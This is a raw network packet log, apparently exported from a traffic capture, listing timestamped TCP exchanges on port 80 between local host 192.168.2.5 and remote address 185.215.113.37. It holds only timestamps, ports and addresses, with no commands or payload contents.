Oct 20, 2024 08:40:06.624262094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.624273062 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.624277115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.624286890 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.624291897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.624303102 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.624308109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.624317884 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.624324083 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.624339104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.624345064 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.624356985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.624368906 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.624372959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.624386072 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.624397039 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.624397993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.624414921 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.624414921 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.624429941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.624437094 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.624448061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.624454021 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.624463081 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.624464989 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.624479055 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.624485970 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.624494076 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.624502897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.624511003 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.624516964 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.624517918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.624526024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.624531031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.624536991 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.624537945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.624545097 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.624551058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.624551058 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.624557972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.624579906 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.624598980 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.624614000 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.624630928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.624645948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.624651909 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.624664068 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.624680042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.624685049 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.624685049 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.624696016 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.624705076 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.624710083 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.624722958 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.624727964 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.624736071 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.624748945 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.624754906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.624759912 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.624778986 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.624794006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.624795914 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.624815941 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.624818087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.624828100 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.624833107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.624849081 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.624855995 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.624864101 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.624867916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.624880075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.624886990 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.624903917 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.624905109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.624912977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.624922037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.624938965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.624939919 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.624954939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.624959946 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.624972105 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.624973059 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.624988079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.624991894 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.625003099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.625006914 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.625020027 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.625025034 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.625036955 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.625041962 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.625045061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.625051022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.625056982 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.625058889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.625073910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.625081062 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.625091076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.625099897 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.625104904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.625121117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.625128031 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.625135899 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.625155926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.625155926 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.625163078 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.625164986 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.625170946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.625178099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.625184059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.625188112 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.625194073 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.625206947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.625220060 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.625222921 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.625237942 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.625240088 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.625252962 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.625268936 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.625269890 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.625278950 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.625284910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.625297070 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.625300884 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.625313997 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.625324965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.625324965 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.625339031 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.625349045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.625358105 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.625365019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.625380039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.625391006 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.625395060 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.625402927 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.625410080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.625421047 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.625426054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.625437975 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.625443935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.625452995 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.625461102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.625468016 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.625475883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.625478983 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.625494957 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.625499964 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.625513077 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.625520945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.625533104 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.625535965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.625550985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.625560999 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.625566959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.625579119 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.625582933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.625600100 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.625607014 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.625607014 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.625616074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.625619888 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.625633001 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.625642061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.625652075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.625657082 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.625669956 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.625679970 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.625686884 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.625691891 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.625701904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.625710011 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.625715971 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.625718117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.625736952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.625745058 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.625752926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.625766039 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.625766039 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.625767946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.625783920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.625790119 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.625798941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.625808001 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.625813007 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.625823021 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.625825882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.625833035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.625838041 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.625848055 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.625854015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.625860929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.625864029 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.625868082 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.625869989 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.625875950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.625885010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.625888109 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.625900984 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.625911951 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.625917912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.625926971 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.625935078 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.625952959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.625952959 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.625972986 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.625977993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.625989914 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.625993013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.626008034 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.626009941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.626024008 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.626028061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.626039028 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.626044989 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.626054049 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.626061916 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.626069069 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.626089096 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.626102924 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.659033060 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.659086943 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.659105062 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.659133911 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.659143925 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.659184933 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.659194946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.659233093 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.659257889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.659290075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.659296036 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.659332991 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.659338951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.659388065 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.659435987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.659470081 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.659482002 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.659511089 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.659518003 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.659564018 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.659569025 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.659600973 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.659610033 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.659641981 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.659650087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.659681082 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.659688950 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.659724951 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.659730911 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.659769058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.659774065 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.659804106 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.659805059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.659847975 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.659856081 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.659902096 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.659923077 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.659960985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.659980059 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.659996986 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.660005093 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.660028934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.660038948 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.660062075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.660072088 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.660096884 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.660104036 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.660141945 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.660147905 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.660178900 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.660192013 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.660218954 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.660223007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.660255909 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.660265923 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.660288095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.660306931 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.660320044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.660326004 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.660352945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.660361052 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.660387039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.660396099 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.660418987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.660424948 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.660451889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.660459042 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.660485029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.660495996 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.660521984 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.660526991 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.660553932 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.660564899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.660587072 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.660595894 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.660619020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.660648108 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.660651922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.660656929 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.660685062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.660703897 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.660720110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.660725117 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.660761118 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.660768032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.660801888 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.660804987 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.660834074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.660840988 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.660867929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.660871983 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.660900116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.660907030 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.660932064 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.660938025 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.660963058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.660972118 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.660994053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.661000013 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.661026955 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.661034107 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.661058903 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.661067009 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.661093950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.661106110 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.661125898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.661134005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.661159039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.661170959 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.661190987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.661218882 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.661223888 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.661253929 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:06.661254883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:06.661278009 CEST	49704	80	192.168.2.5	185.215.113.37
